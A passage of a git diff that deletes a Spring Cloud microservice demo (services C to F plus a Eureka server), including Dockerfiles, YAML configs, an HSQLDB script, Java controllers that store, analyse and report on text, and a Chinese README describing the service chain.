+++ /dev/null @@ -1,21 +0,0 @@ -server: - port: 29997 - -spring: - application: - name: service-b - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ - - -logging: - level: - root: INFO - com.myapp: DEBUG - pattern: - console: '%d{yyyy-MM-dd HH:mm:ss} - %logger{36} - %level - %msg%n' diff --git a/microservice-c-service/Dockerfile b/microservice-c-service/Dockerfile deleted file mode 100644 index 9403a5b..0000000 --- a/microservice-c-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-c-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-c-service/Dockerfile_local b/microservice-c-service/Dockerfile_local deleted file mode 100644 index 27b1702..0000000 --- a/microservice-c-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-c-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-c-service/microservice-c-service.iml b/microservice-c-service/microservice-c-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-c-service/microservice-c-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-c-service/mydb.properties b/microservice-c-service/mydb.properties deleted file mode 100644 index d33be3e..0000000 --- a/microservice-c-service/mydb.properties +++ /dev/null @@ -1,5 +0,0 @@ -#HSQL Database Engine 2.6.0 -#Tue Jan 30 12:35:10 CST 2024 -version=2.6.0 -modified=yes -tx_timestamp=200 diff --git a/microservice-c-service/mydb.script b/microservice-c-service/mydb.script deleted file mode 100644 index 2628d62..0000000 --- a/microservice-c-service/mydb.script +++ /dev/null @@ -1,58 +0,0 @@ -SET DATABASE UNIQUE NAME HSQLDB8D58862393 -SET DATABASE GC 0 -SET DATABASE DEFAULT RESULT MEMORY ROWS 0 -SET DATABASE EVENT LOG LEVEL 0 -SET DATABASE TRANSACTION CONTROL LOCKS -SET DATABASE DEFAULT ISOLATION LEVEL READ COMMITTED -SET DATABASE TRANSACTION ROLLBACK ON CONFLICT TRUE -SET DATABASE TEXT TABLE DEFAULTS '' -SET DATABASE SQL NAMES FALSE -SET DATABASE SQL REFERENCES FALSE -SET DATABASE SQL SIZE TRUE -SET DATABASE SQL TYPES FALSE -SET DATABASE SQL TDC DELETE TRUE -SET DATABASE SQL TDC UPDATE TRUE -SET DATABASE SQL CONCAT NULLS TRUE -SET DATABASE SQL UNIQUE NULLS TRUE -SET DATABASE SQL CONVERT TRUNCATE TRUE -SET DATABASE SQL AVG SCALE 0 -SET DATABASE SQL DOUBLE NAN TRUE -SET FILES WRITE DELAY 500 MILLIS -SET FILES BACKUP INCREMENT TRUE -SET FILES CACHE SIZE 10000 -SET FILES CACHE ROWS 50000 -SET FILES SCALE 32 -SET FILES LOB SCALE 32 -SET FILES DEFRAG 0 -SET FILES NIO TRUE -SET FILES NIO SIZE 256 -SET FILES LOG TRUE -SET FILES LOG SIZE 50 -SET FILES CHECK 200 -SET DATABASE COLLATION "SQL_TEXT" PAD SPACE -CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e' -ALTER USER SA SET LOCAL TRUE -CREATE SCHEMA PUBLIC AUTHORIZATION DBA -CREATE MEMORY TABLE PUBLIC.DATA_ENTITY(ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,DATA VARCHAR(255),TIMESTAMP TIMESTAMP) -ALTER TABLE PUBLIC.DATA_ENTITY ALTER COLUMN ID RESTART WITH 11 -ALTER SEQUENCE SYSTEM_LOBS.LOB_ID RESTART WITH 1 -SET DATABASE DEFAULT INITIAL SCHEMA PUBLIC -GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CARDINAL_NUMBER TO PUBLIC -GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.YES_OR_NO TO PUBLIC -GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CHARACTER_DATA TO PUBLIC -GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.SQL_IDENTIFIER TO PUBLIC -GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.TIME_STAMP TO PUBLIC -GRANT DBA TO SA -SET SCHEMA SYSTEM_LOBS -INSERT INTO BLOCKS VALUES(0,2147483647,0) -SET SCHEMA PUBLIC -INSERT INTO DATA_ENTITY VALUES(1,'Processed: d9765fc4','2024-01-30 12:01:24.959000') -INSERT INTO DATA_ENTITY VALUES(2,'test','2024-01-30 12:02:40.752000') -INSERT INTO DATA_ENTITY VALUES(3,'test','2024-01-30 12:03:26.890000') -INSERT INTO DATA_ENTITY VALUES(4,'test','2024-01-30 12:05:30.198000') -INSERT INTO DATA_ENTITY VALUES(5,'test','2024-01-30 12:05:36.719000') -INSERT INTO DATA_ENTITY VALUES(6,'test','2024-01-30 12:12:41.047000') -INSERT INTO DATA_ENTITY VALUES(7,'test','2024-01-30 12:26:21.079000') -INSERT INTO DATA_ENTITY VALUES(8,'test','2024-01-30 12:27:46.706000') -INSERT INTO DATA_ENTITY VALUES(9,'test','2024-01-30 12:28:02.331000') -INSERT INTO DATA_ENTITY VALUES(10,'test','2024-01-30 12:33:52.062000') diff --git a/microservice-c-service/src/main/java/com/myapp/servicec/ServiceCApplication.java b/microservice-c-service/src/main/java/com/myapp/servicec/ServiceCApplication.java deleted file mode 100644 index 6786421..0000000 --- a/microservice-c-service/src/main/java/com/myapp/servicec/ServiceCApplication.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.myapp.servicec; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceCApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceCApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } -} - diff --git a/microservice-c-service/src/main/java/com/myapp/servicec/controllers/ServiceCController.java b/microservice-c-service/src/main/java/com/myapp/servicec/controllers/ServiceCController.java deleted file mode 100644 index 6429e5c..0000000 --- a/microservice-c-service/src/main/java/com/myapp/servicec/controllers/ServiceCController.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.myapp.servicec.controllers; - - -import com.myapp.servicec.entity.DataEntity; -import com.myapp.servicec.repository.DataRepository; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.client.RestTemplate; - -import java.time.LocalDateTime; -import java.util.List; -import java.util.Optional; - -@RestController -public class ServiceCController { - private static final Logger logger = LoggerFactory.getLogger(ServiceCController.class); - - - @Autowired - private DataRepository dataRepository; - - @PostMapping("/store") - public DataEntity store(@RequestBody String data) { - logger.info("data:"+data); - - DataEntity savedEntity = storeData(data); - return findLatestData(); - } - - private DataEntity storeData(String data) { - DataEntity entity = new DataEntity(data, LocalDateTime.now()); - return dataRepository.save(entity); - } - private DataEntity findLatestData() { - List latestData = dataRepository.findLatestData(); - - if (!latestData.isEmpty()) { - return latestData.get(0); // 返回列表中的第一个元素 - } else { - return null; // 或者处理数据不存在的情况 - } - } -} \ No newline at end of file diff --git a/microservice-c-service/src/main/java/com/myapp/servicec/entity/DataEntity.java b/microservice-c-service/src/main/java/com/myapp/servicec/entity/DataEntity.java deleted file mode 100644 index 24b5e17..0000000 --- a/microservice-c-service/src/main/java/com/myapp/servicec/entity/DataEntity.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.myapp.servicec.entity; - -import javax.persistence.*; -import java.time.LocalDateTime; - -@Entity -public class DataEntity { - - @Id - @GeneratedValue(strategy = GenerationType.IDENTITY) - private Long id; - - private String data; - - private LocalDateTime timestamp; - - // 构造器、Getter和Setter - public DataEntity() { - } - - public DataEntity(String data, LocalDateTime timestamp) { - this.data = data; - this.timestamp = timestamp; - } - - // ... 省略Getter和Setter方法 ... -} \ No newline at end of file diff --git a/microservice-c-service/src/main/java/com/myapp/servicec/repository/DataRepository.java b/microservice-c-service/src/main/java/com/myapp/servicec/repository/DataRepository.java deleted file mode 100644 index 552d871..0000000 --- a/microservice-c-service/src/main/java/com/myapp/servicec/repository/DataRepository.java +++ /dev/null @@ -1,13 +0,0 @@ -package com.myapp.servicec.repository; - -import com.myapp.servicec.entity.DataEntity; -import org.springframework.data.jpa.repository.JpaRepository; -import org.springframework.data.jpa.repository.Query; - -import java.util.List; -import java.util.Optional; - -public interface DataRepository extends JpaRepository { - @Query("SELECT d FROM DataEntity d ORDER BY d.timestamp DESC") - List findLatestData(); -} \ No newline at end of file diff --git a/microservice-c-service/src/main/resources/application.yml b/microservice-c-service/src/main/resources/application.yml deleted file mode 100644 index ca81b76..0000000 --- a/microservice-c-service/src/main/resources/application.yml +++ /dev/null @@ -1,34 +0,0 @@ -server: - port: 29996 - -spring: - application: - name: service-c - datasource: - url: jdbc:hsqldb:file:mydb;hsqldb.lock_file=false - username: sa - password: - driver-class-name: org.hsqldb.jdbc.JDBCDriver - - jpa: - hibernate: - ddl-auto: update - show-sql: true - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ - - - - - -logging: - level: - root: INFO - com.myapp: DEBUG - pattern: - console: '%d{yyyy-MM-dd HH:mm:ss} - %logger{36} - %level - %msg%n' diff --git a/microservice-d-service/Dockerfile b/microservice-d-service/Dockerfile deleted file mode 100644 index d14f712..0000000 --- a/microservice-d-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-d-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-d-service/Dockerfile_local b/microservice-d-service/Dockerfile_local deleted file mode 100644 index f33a9ff..0000000 --- a/microservice-d-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-d-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-d-service/microservice-d-service.iml b/microservice-d-service/microservice-d-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-d-service/microservice-d-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-d-service/src/main/java/com/myapp/serviced/ServiceDApplication.java b/microservice-d-service/src/main/java/com/myapp/serviced/ServiceDApplication.java deleted file mode 100644 index 6140f17..0000000 --- a/microservice-d-service/src/main/java/com/myapp/serviced/ServiceDApplication.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.myapp.serviced; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceDApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceDApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } -} - diff --git a/microservice-d-service/src/main/java/com/myapp/serviced/controllers/ServiceDController.java b/microservice-d-service/src/main/java/com/myapp/serviced/controllers/ServiceDController.java deleted file mode 100644 index a679834..0000000 --- a/microservice-d-service/src/main/java/com/myapp/serviced/controllers/ServiceDController.java +++ /dev/null @@ -1,84 +0,0 @@ -package com.myapp.serviced.controllers; - - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.client.RestTemplate; - -import java.util.Arrays; -import java.util.Map; -import java.util.function.Function; -import java.util.stream.Collectors; - -@RestController -public class ServiceDController { - private static final Logger logger = LoggerFactory.getLogger(ServiceDController.class); - - @Autowired - private RestTemplate restTemplate; - - - - @PostMapping("/analyze") - public void analyze(@RequestBody String data) { - // 执行数据分析 - String analysisResult = performAnalysis(data); - - // 发送结果到Service E - restTemplate.postForObject("http://service-e/report", analysisResult, Void.class); - } - - private String performAnalysis(String data) { - String reversed = reverseString(data); - String wordFreq = wordFrequencyAnalysis(data); - String strLength = stringLengthAnalysis(data); - String replaced = findAndReplace(data, "oldWord", "newWord"); - String caseCount = countCase(data); - logger.info("reversed:"+reversed); - logger.info("wordFreq:"+wordFreq); - logger.info("strLength:"+strLength); - logger.info("replaced:"+replaced); - logger.info("caseCount:"+caseCount); - - return "Reversed: " + reversed + "\n" + - "Word Frequency: " + wordFreq + "\n" + - "String Length: " + strLength + "\n" + - "Replaced: " + replaced + "\n" + - "Case Count: " + caseCount; - } -//反转字符串 - private String reverseString(String data) { - return new StringBuilder(data).reverse().toString(); - } -//统计单词频率 - private String wordFrequencyAnalysis(String data) { - Map wordFrequency = Arrays.stream(data.split("\\s+")) // 分割单词 - .collect(Collectors.groupingBy(Function.identity(), Collectors.counting())); - - return "Word frequency: " + wordFrequency.toString(); - } - //字符串长度分析 - private String stringLengthAnalysis(String data) { - return "Length of string: " + data.length(); - } - - //查找和替换特定字符 - private String findAndReplace(String data, String find, String replace) { - return data.replace(find, replace); - } - - //统计大写和小写字符数量 - private String countCase(String data) { - long upperCase = data.chars().filter(Character::isUpperCase).count(); - long lowerCase = data.chars().filter(Character::isLowerCase).count(); - - return "Upper case count: " + upperCase + ", Lower case count: " + lowerCase; - } - - - -} \ No newline at end of file diff --git a/microservice-d-service/src/main/resources/application.yml b/microservice-d-service/src/main/resources/application.yml deleted file mode 100644 index 1d802f6..0000000 --- a/microservice-d-service/src/main/resources/application.yml +++ /dev/null @@ -1,21 +0,0 @@ -server: - port: 29995 - -spring: - application: - name: service-d - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ - - -logging: - level: - root: INFO - com.myapp: DEBUG - pattern: - console: '%d{yyyy-MM-dd HH:mm:ss} - %logger{36} - %level - %msg%n' diff --git a/microservice-e-service/Dockerfile b/microservice-e-service/Dockerfile deleted file mode 100644 index e3d00dc..0000000 --- a/microservice-e-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-e-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-e-service/Dockerfile_local b/microservice-e-service/Dockerfile_local deleted file mode 100644 index a8f300f..0000000 --- a/microservice-e-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-e-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-e-service/microservice-e-service.iml b/microservice-e-service/microservice-e-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-e-service/microservice-e-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-e-service/pom.xml b/microservice-e-service/pom.xml deleted file mode 100644 index fcaf7d2..0000000 --- a/microservice-e-service/pom.xml +++ /dev/null @@ -1,84 +0,0 @@ - - - 4.0.0 - - org.example - microservice-e-service - 1.0-SNAPSHOT - - - 8 - 8 - - - org.springframework.boot - spring-boot-starter-parent - 2.5.9 - - - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client - - - org.springframework.boot - spring-boot-starter-web - RELEASE - compile - - - com.itextpdf - itext7-core - 7.1.19 - pom - - - - org.apache.poi - poi-ooxml - 4.1.2 - - - - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - - - - - org.springframework.boot - spring-boot-maven-plugin - - - org.apache.maven.plugins - maven-compiler-plugin - 3.1 - - 1.8 - 1.8 - - - - org.apache.maven.plugins - maven-resources-plugin - 3.0.2 - - - org.apache.maven.plugins - maven-jar-plugin - 2.4 - - - - \ No newline at end of file diff --git a/microservice-e-service/src/main/java/com/myapp/servicee/ServiceEApplication.java b/microservice-e-service/src/main/java/com/myapp/servicee/ServiceEApplication.java deleted file mode 100644 index 04d0cff..0000000 --- a/microservice-e-service/src/main/java/com/myapp/servicee/ServiceEApplication.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.myapp.servicee; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceEApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceEApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } -} - diff --git a/microservice-e-service/src/main/java/com/myapp/servicee/controllers/ServiceEController.java b/microservice-e-service/src/main/java/com/myapp/servicee/controllers/ServiceEController.java deleted file mode 100644 index 409dea3..0000000 --- a/microservice-e-service/src/main/java/com/myapp/servicee/controllers/ServiceEController.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.myapp.servicee.controllers; - - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.client.RestTemplate; -import com.itextpdf.kernel.pdf.PdfDocument; -import com.itextpdf.kernel.pdf.PdfWriter; -import com.itextpdf.layout.Document; -import com.itextpdf.layout.element.Paragraph; -import org.apache.poi.xwpf.usermodel.XWPFDocument; -import org.apache.poi.xwpf.usermodel.XWPFParagraph; - -import java.io.File; -import java.io.FileWriter; -import java.time.LocalDateTime; -import java.time.format.DateTimeFormatter; -import java.io.FileOutputStream; - -@RestController -public class ServiceEController { - - @Autowired - private RestTemplate restTemplate; - - @PostMapping("/report") - public void generateReport(@RequestBody String analysisData) throws Exception { - // 生成报告 - String report = generateDataReport(analysisData); - // 发送报告到Service F - restTemplate.postForObject("http://service-f/audit", analysisData, Void.class); - } - private String generateDataReport(String analysisData) throws Exception { - // 这里可以生成复杂的报告,比如处理分析数据,生成图表等 - generatePdfReport(analysisData); - generateDocxReport(analysisData); - generateXmlReport(analysisData); - generateHtmlReport(analysisData); - return "Report based on " + analysisData; - } - - private void generatePdfReport(String analysisData) throws Exception { - String fileName = generateFileName("report") + ".pdf"; - - PdfWriter writer = new PdfWriter(fileName); - - PdfDocument pdf = new PdfDocument(writer); - Document document = new Document(pdf); - document.add(new Paragraph("Report based on: " + analysisData)); - - document.close(); - } - private void generateHtmlReport(String analysisData) throws Exception { - String fileName = generateFileName("report") + ".html"; - - String htmlContent = "

Report

Report based on: " + analysisData + "

"; - - try (FileWriter writer = new FileWriter(fileName)) { - writer.write(htmlContent); - } - } - private void generateXmlReport(String analysisData) throws Exception { - String fileName = generateFileName("report") + ".xml"; - - String xmlContent = "" + analysisData + ""; - - try (FileWriter writer = new FileWriter(fileName)) { - writer.write(xmlContent); - } - } - private void generateDocxReport(String analysisData) throws Exception { - String fileName = generateFileName("report") + ".docx"; - - XWPFDocument document = new XWPFDocument(); - XWPFParagraph para = document.createParagraph(); - para.createRun().setText("Report based on: " + analysisData); - - try (FileOutputStream out = new FileOutputStream(fileName)) { - document.write(out); - } - } - - private String generateFileName(String baseName) { - String dirName = "file"; - File directory = new File(dirName); - - // 检查目录是否存在,如果不存在则创建 - if (!directory.exists()) { - directory.mkdir(); // 创建目录 - } - - LocalDateTime now = LocalDateTime.now(); - DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd_HH-mm-ss"); - return dirName + "/" + baseName + "-" + now.format(formatter) ; - } - - -} \ No newline at end of file diff --git a/microservice-e-service/src/main/resources/application.yml b/microservice-e-service/src/main/resources/application.yml deleted file mode 100644 index 1e278c1..0000000 --- a/microservice-e-service/src/main/resources/application.yml +++ /dev/null @@ -1,14 +0,0 @@ -server: - port: 29994 - -spring: - application: - name: service-e - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ - diff --git a/microservice-eureka-service/Dockerfile b/microservice-eureka-service/Dockerfile deleted file mode 100644 index d38cdae..0000000 --- a/microservice-eureka-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-eureka-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-eureka-service/Dockerfile_local b/microservice-eureka-service/Dockerfile_local deleted file mode 100644 index cdca8fc..0000000 --- a/microservice-eureka-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-eureka-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-eureka-service/README.md b/microservice-eureka-service/README.md deleted file mode 100644 index ce8e162..0000000 --- a/microservice-eureka-service/README.md +++ /dev/null @@ -1,27 +0,0 @@ -# 链路 - -## 链路A: 服务流程和操作 - -假设我们有一个业务场景,涉及用户信息的处理和数据分析: - -1. **service-a (用户请求入口)**: - - 功能: 接收来自用户的请求,包括用户数据。 - - 操作: 验证请求数据,然后将用户数据发送给service-b进行进一步处理。 -2. **service-b (数据处理)**: - - 功能: 接收来自service-a的用户数据,并进行初步处理。 - - 操作: 清洗和格式化数据,检查数据完整性,然后将处理后的数据发送给service-c和service-d进行并行处理。 -3. **service-c (数据存储)**: - - 功能: 负责数据的持久化。 - - 操作: 将接收到的数据存储到数据库中,并发送确认回执给service-a。 -4. **service-d (数据分析)**: - - 功能: 对数据进行分析和计算。 - - 操作: 执行数据分析,如计算用户行为指标,并将结果发送给service-e进行进一步处理。 -5. **service-e (报告生成)**: - - 功能: 基于service-d的分析结果生成报告。 - - 操作: 创建数据分析报告,可能包括图表和关键指标汇总,然后将报告发送给service-f进行审核。 -6. **service-f (审核和通知)**: - - 功能: 审核生成的报告并通知相关方。 - - 操作: 审核报告的准确性,一旦审核通过,发送通知给service-a,表示整个流程已经完成。 -7. **service-a (完成响应)**: - - 功能: 完成响应用户的请求。 - - 操作: 接收来自service-f的通知,并向用户发送最终响应,可能包括处理结果或生成的报告链接。 \ No newline at end of file diff --git a/microservice-eureka-service/microservice-eureka-service.iml b/microservice-eureka-service/microservice-eureka-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-eureka-service/microservice-eureka-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-eureka-service/pom.xml b/microservice-eureka-service/pom.xml deleted file mode 100644 index f6d5551..0000000 --- a/microservice-eureka-service/pom.xml +++ /dev/null @@ -1,67 +0,0 @@ - - - 4.0.0 - - org.example - microservice-eureka-service - 1.0-SNAPSHOT - - - 8 - 8 - - - org.springframework.boot - spring-boot-starter-parent - 2.5.9 - - - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-server - - - - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - - - - - org.springframework.boot - spring-boot-maven-plugin - - - org.apache.maven.plugins - maven-compiler-plugin - 3.1 - - 1.8 - 1.8 - - - - org.apache.maven.plugins - maven-resources-plugin - 3.0.2 - - - org.apache.maven.plugins - maven-jar-plugin - 2.4 - - - - - \ No newline at end of file diff --git a/microservice-eureka-service/src/main/java/com/myapp/eurekaserver/EurekaServerApplication.java b/microservice-eureka-service/src/main/java/com/myapp/eurekaserver/EurekaServerApplication.java deleted file mode 100644 index e470fef..0000000 --- a/microservice-eureka-service/src/main/java/com/myapp/eurekaserver/EurekaServerApplication.java +++ /dev/null @@ -1,13 +0,0 @@ -package com.myapp.eurekaserver; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.netflix.eureka.server.EnableEurekaServer; - -@EnableEurekaServer -@SpringBootApplication -public class EurekaServerApplication { - public static void main(String[] args) { - SpringApplication.run(EurekaServerApplication.class, args); - } -} diff --git a/microservice-eureka-service/src/main/resources/application.yml b/microservice-eureka-service/src/main/resources/application.yml deleted file mode 100644 index 40ad3dd..0000000 --- a/microservice-eureka-service/src/main/resources/application.yml +++ /dev/null @@ -1,9 +0,0 @@ -server: - port: 29999 - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ diff --git a/microservice-f-service/Dockerfile b/microservice-f-service/Dockerfile deleted file mode 100644 index f7da619..0000000 --- a/microservice-f-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-f-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-f-service/Dockerfile_local b/microservice-f-service/Dockerfile_local deleted file mode 100644 index 6858d94..0000000 --- a/microservice-f-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-f-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-f-service/microservice-f-service.iml b/microservice-f-service/microservice-f-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-f-service/microservice-f-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-f-service/src/main/java/com/myapp/servicef/ServiceFApplication.java b/microservice-f-service/src/main/java/com/myapp/servicef/ServiceFApplication.java deleted file mode 100644 index 1e85000..0000000 --- a/microservice-f-service/src/main/java/com/myapp/servicef/ServiceFApplication.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.myapp.servicef; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceFApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceFApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } -} - diff --git a/microservice-f-service/src/main/java/com/myapp/servicef/controllers/ServiceFController.java b/microservice-f-service/src/main/java/com/myapp/servicef/controllers/ServiceFController.java deleted file mode 100644 index 371dd8d..0000000 --- a/microservice-f-service/src/main/java/com/myapp/servicef/controllers/ServiceFController.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.myapp.servicef.controllers; - - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.client.RestTemplate; - -import java.util.Arrays; -import java.util.List; - -@RestController -public class ServiceFController { - - @Autowired - private RestTemplate restTemplate; - - - @PostMapping("/audit") - public void auditReport(@RequestBody String reportData) { - // 审核报告 - boolean isApproved = auditReportData(reportData); - - // 准备发送的消息 - String message = isApproved ? "Approved" : "Rejected"; - - // 调用Service A的接口发送审核结果 - restTemplate.postForObject("http://service-a/receiveAuditResult", message, String.class); - } - - private boolean auditReportData(String reportData) { - // 步骤1: 检查报告长度 - if (!isLengthValid(reportData)) { - return false; - } - - // 步骤2: 检查关键词 - if (!containsKeyWords(reportData, Arrays.asList("Important", "Critical"))) { - return false; - } - - // 步骤3: 检查报告格式 - if (!isFormatCorrect(reportData)) { - return false; - } - - return true; // 如果所有检查都通过,则审核通过 - } - - private boolean isLengthValid(String data) { - // 检查报告的长度是否符合预期,例如不少于100个字符 - return data != null && 